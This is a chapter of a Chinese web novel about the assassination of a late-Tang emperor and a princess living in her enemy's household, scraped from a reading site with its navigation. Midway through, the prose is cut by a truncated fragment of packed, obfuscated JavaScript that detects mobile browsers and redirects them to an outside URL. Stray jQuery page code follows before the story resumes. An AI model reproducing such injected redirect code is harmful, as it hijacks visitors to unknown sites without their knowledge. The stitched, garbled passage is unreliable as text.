默认冷灰
24号文字
方正启体

42. 弑君

作者:元气小甜豆本书字数:K更新时间:
    “何人喧哗?放肆!”睡梦中的皇帝被“砰砰砰”的撞门声惊醒,他迷迷糊糊地坐起身,不顾李渐荣的劝阻,跌跌撞撞地走到殿外喊道,“吵什么吵?还能不能让我吃酒了?”


    “圣人!”蒋玄晖听出皇帝的声音,高声大呼,“臣有要事启奏。”


    蒋玄晖的话如一盆冷水从头浇下,皇帝后背瞬间冒出一股冷汗,睡意全消。天色未明,叩门如此之急,一定是有大事。他猜测到朱凛可能是想逼宫!


    这一切,他太熟悉了:那年,宦官刘季述谋乱,趁他宿醉后,将他锁在少阳院,每日只从门缝里送饭。难不成朱凛也想如法炮制?不,朱凛恐怕是想要了他的性命!


    “不许开门!”皇帝大喝一声,连忙跑进内殿躲了起来。


    前脚皇帝刚进去,后脚宫门就被撞开了,龙武军一拥而入,蒋玄晖吩咐道:“把圣人给我找出来!”


    史太提着刀冲了上去,见到站在窗前的昭仪李渐荣,厉声问道:“圣人在何处?”


    “大胆!你们三更半夜擅闯圣人寝殿,意欲何为?”李渐荣厉声责问,疾步而出。


    蒋玄晖一把揪住李渐荣的衣领,“圣人在哪?”


    李渐荣大惊失色,“你……你要做什么?”


    “我问你圣人在哪?”


    “面见圣人不得佩刀,你不知道吗?”李渐荣瞪大了惊恐的双眼。


    “你再不说我就杀了你!”


    李渐荣用身体挡在殿门前,大声喊道:“宁可杀了我,也不能让你伤害圣人!”


    蒋玄晖朝史太使了个眼色,史太会意立刻跑入殿中捉拿皇帝。


    皇帝早已听到外面的声响,自己躲到了柱子后面,身子忍不住地抖了起来。


    “圣人……”空荡荡的大殿上泛起回声。


    皇帝用手使劲儿捂住嘴巴,不让自己发出一丝声响。


    “臣有要事要奏。”史太压试探性地问道,眼睛紧紧盯着柱子方向,见依旧没有声响,猛地挥起陌刀,狠狠朝柱子砍去,只听“哐当”一声巨响,吓得皇帝连滚带爬地滚了出来。


    史太见状立即追了上去,二人绕着殿中立柱周旋起来。皇帝慌不择路,只得绕着柱子奔逃,焦急四顾,想要寻得殿上悬挂的宝剑,却不见踪迹!


    “休想跑!”史太大呼道。


    皇帝渐渐力不从心,回想起自己这一生的悲苦与无奈,面对即将被乱臣贼子所害的命运,心有不甘。他停下了脚步,转身正色问道:“是谁派你来的?”


    史太见皇帝停了下来,反而愣住,磕磕巴巴道:“是、是梁王!”


    皇帝露出一个了然于胸的笑,“你知道弑君是什么罪?”


    史太望着帝王一身凛然威仪,一时语塞,竟半句也说不出口。


    皇帝史太不说话,又喝道:“那是要诛九族!杀全家!你敢冒天下之大不韪吗!”


    史太想起朱凛给他的许诺的:杀了皇帝便封他为龙武军指挥使!便再次挥起陌刀向皇帝砍了过去,说时迟那时快,李渐荣飞身扑了过去,挡在皇帝胸前,替他受下这一刀,顿时血溅当场。


    “荣儿!”皇帝大惊。


    “大家,荣儿先……”话未毕,人顿时气绝,一缕香魂,渺然归冥。


    皇帝看着死在怀中的李渐荣,泪如雨下,“荣儿……”


    滚烫的鲜血洒到史太脸上,使他更加兴奋,举起陌刀再次挥向皇帝。


    皇帝怒气冲天,双耳尽红,他用尽全力发出最后的呐喊,“你这个乱臣贼子,朕就是死也要诅咒你跟朱凛不得好死,身首异处,死无葬身之地!”


    ——————


    “咯吱——”狂风吹开了窗牖,吹动了帏罗,吹散了方才相对的目光。


    突然,李凌薇的右眼皮猛地跳动起来,越跳越快,久久未停,一股不祥之感悄然涌上心头。


    “怎么了?”朱友贞见李凌薇眉头微蹙,诧异地看着她。


    “没什么。”李凌薇揉了揉太阳穴,眉间仍萦绕着一丝异样的感觉。


    “是不是累了?”朱友贞善解人意地说道,“天色已经很晚了。”


    李凌薇突然感到枕头下有什么东西硌着了自己。


    “怎么了?”


    李凌薇从枕头下抽出那卷厚如青砖的《春秋》,不变悲喜。


    “这么晚了,还在看书?”朱友贞惊奇地问。


    “随便看看而已。”李凌薇淡淡道。


    “我的书房里也有一些古书,你若是喜欢的话,我拿给你。”


    李凌薇盯着“春”“秋”二字,恍惚间觉得它们像李存勖的双眼,正紧紧注视着自己的一举一动。她不禁咳嗽起来,“咳咳……”


    “入秋了,当心着凉。”朱友贞走下床将窗牗关紧,又将螺钿枕障重新安置在床头,“我回清晖阁,你早些休息。”


    “好。”李凌薇应了一声,又补充道,“更深露重,你小心。”


    “好。”朱友贞眼前一亮,笑了起来。


    朱友贞离开后,李凌薇把那卷书环抱在怀中,对着它轻轻叹了口气,开始怀疑起自己的决心:她还能守着和李存勖之间的承诺多久?她躺在床上,脑海中不断回放着方才与朱友贞四目相对的瞬间,若不是那阵突如其来的风,她很可能……


    窗外,雨水顺着窗檐落下来,滴滴答答地打在院中的蔷薇花上,溅出叮咚叮咚的响声。


    李凌薇紧闭双眼,却毫无困意,耳畔仿佛有个声音在反复诘问:你真的一点也不喜欢朱友贞吗?


    她吃了一惊,连忙自答:当然不喜欢。


    你真的一点也不喜欢?那个声音又来了。


    李凌薇重重地摇了摇头,自己一点也不喜欢他,她打开那卷厚厚的《春秋》开始读起来,直到四更将阑,雨点停了,方渐渐睡去。


    ——————


    “我来替你画上吧?”朱友贞拿起画笔小心翼翼地打量着李凌薇的脸色,温柔的眼神令人不忍拒绝。


    李凌薇心里低叹一声,点头默许。


    朱友贞弯腰拿起画笔专注地看着李凌薇,一笔一画地在她的眉毛上描摹着。他的脸颊和李凌薇之间的距离只隔着一层薄纸,李凌薇可以清晰地看到他脸上冒出的细小痘痘。


    “公主、三郎……”灵芝的声音传来,打破了美好的宁静。


    “这么一大清早,来找我何事?”


    灵芝捧着漆盘而入,盈盈笑道:“王妃煮了参汤,特意命婢子给您二位送来。”


    李凌薇看着油腻的汤,心里有些作呕。忽地想起张惠那日在她耳根旁教她的那些帮助怀孕之法,一时脸颊羞红起来。


    朱友贞察觉到李凌薇的尴尬,吩咐道:“放下吧。”


    “王妃特意吩咐,定要二位趁热享用。”灵芝有意提醒,复又轻声说道,“还让婢子待会儿将碗碟收回。”


    “知晓了,待会儿我让阿麟将碗送回。”朱友贞不容置疑地说道,随即轻拉李凌薇之手,扶她坐上月牙凳。


    不知是不是李凌薇的错觉,在灵芝走出房间的那一刹那,她感到灵芝犀利的目光紧紧地盯着自己和朱友贞握在一起的手。


    “不想吃就不吃了。”朱友贞体贴道。


    李凌薇一怔,喜上心头。


    张惠、朱友贞和李凌薇三人围春台而坐吃饭,张惠淡淡地说道,“你父亲与大郎这一离去,府中顿觉空旷许多。还是他们在时,方显热闹。”


    待朱友裕离开后,朱凛始终放心不下,当即决定亲征奔赴河中。


    李凌薇心中惴惴,不知那封密函能否顺利送到李存勖手中。更忧心李存勖即便收到密函,又能否抗衡得了朱凛的势力。


    朱友贞微微一笑,拿起白瓷碟中的糖蟹放于面前,用银箸将糖蟹拨开,将晶莹的蟹黄放入李凌薇的碟前。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515232|203025||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >张惠见自己的儿郎如此贴心,心满意足地笑了起来,“我新酿了桂花酒,用桂花和米酒合酿而成,你们来尝尝,味道如何?”


    灵芝从垆中端取来三爵桂酒,香气浓郁。


    朱友贞端起银爵,色泽浅黄,凑到前一闻,称赞道:“母亲酿的酒清香突出,一定是好酒。”


    “那就多饮几杯。”张惠笑道,朝朱友贞的碗里夹了一些青菜。


    朱友贞又吃了一口酒,再次称赞,“这酒酸甜适口,醇厚柔和,既醇且香,余香长久。”


    刘管家侍立在门外,张惠见状道:“进来吧。”


    “王妃,您吩咐送去静元寺的衣裳物什都已送到,请王妃放心。”刘管家道。


    “好,先去忙吧。”张惠道。


    “在想些什么?”朱友贞见李凌薇端着银爵愣神,出声问道。


    “没……没什么。”李凌薇摇了摇头。


    “哪里不舒服吗?”朱友贞放下银爵,关切问道。


    李凌薇若有所思道:“从昨夜起,右眼就一直在跳,总觉得似乎有什么不好的事儿要发生。”


    “是不是最近照顾我太累了?”张惠将手背搭在李凌薇的额头上,“以后这煎药的事还是交给灵芝去做吧。你多歇息歇息,我的病也好得差不多了。”


    “这些都是小事情,不妨事。”李凌薇摇头微微一笑,放下银爵,“也许是我过于紧张吧。”


    “你一定是思念圣人和皇后才会如此。”张惠惋惜道,“要不是因着我的病,你们也许前几日就出发了。”


    朱友贞宽慰道:“明日咱们便启程了,定能赶在中秋节之前到达洛阳。”


    食毕,众婢端着盆奁诸物上来,侍候三人洗手、漱口。


    “颈间伤痕已淡去许多。”张惠凝视着李凌薇颈间疤痕,轻声道。


    李凌薇心中感慨:良禽美玉,每日涂抹,自然消磨不少。嘴上道:“驸马的药确实奏效,我想再过些日子就看不到痕迹了。”


    “母亲,今岁中秋孩儿不能陪您了,望母亲恕儿不孝之罪。”朱友贞内疚道。


    “自你们成亲后,尚未回京觐见圣人,如今恰逢中秋佳节,也该回去一趟,共叙天伦、同庆团圆。母亲还有身边七娘和九娘,七娘一个人就顶你们好几个人呢。”张惠善解人意道,“我也为圣人和皇后准备了中秋贺礼,阿贞替我感谢圣人与皇后的厚爱。”说着命灵芝拿出礼物。


    奴仆抬出一件鎏金象首金刚铜熏炉。通体鎏金,由炉盖、炉身组成,盖、身以子母扣合。盖面镂空,盖顶仰莲蕾上跪一人身象首金刚,金刚昂首,身披绫带,双手捧宝珠于胸前,造型精美华贵。


    “我知道皇后一心向佛,希望皇后能会喜欢。”张惠道,“圣人攻文好书,擅长丹青,我也准备了老坑洮,希望圣人不会嫌弃。”


    “多谢阿姑一番美意,如此厚礼,阿耶阿娘一定会喜欢。”李凌薇起身道谢。


    张惠拉住李凌薇的手,“这些都是微薄之礼,圣人和皇后对我的赏赐才是厚重,我可是占了天大的便宜。”


    李凌薇不明所以地看着张惠。


    “圣人和皇后赐我一个如此贤惠的儿媳,我只还以这些薄礼,可不是天大的便宜。”张惠捂嘴而笑。


    李凌薇羞涩浅笑,命阿诺拿来药枕,道:“我听说您最近晚上总是睡不好,这是我亲手制作的药枕,里面精选了新晾的菊花,以及夜交藤、合欢花、佩兰、枣仁、柏子仁、五味子等药材,具有养心安神、驱虫除秽的功效。”


    张惠看着药枕,满眼欢喜,“你最有心了。今夜定能睡一个好觉。”随即命灵芝放于她床前。


    灵芝笑着打趣道:“公主送王妃的东西,王妃都宝贝着呢。”


    朱友贞见李凌薇眉间凝着一抹化不开的忧色,道:“不如咱们骑马去洛阳,这样还可快一些。”


    李凌薇甚是欢喜,“好。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)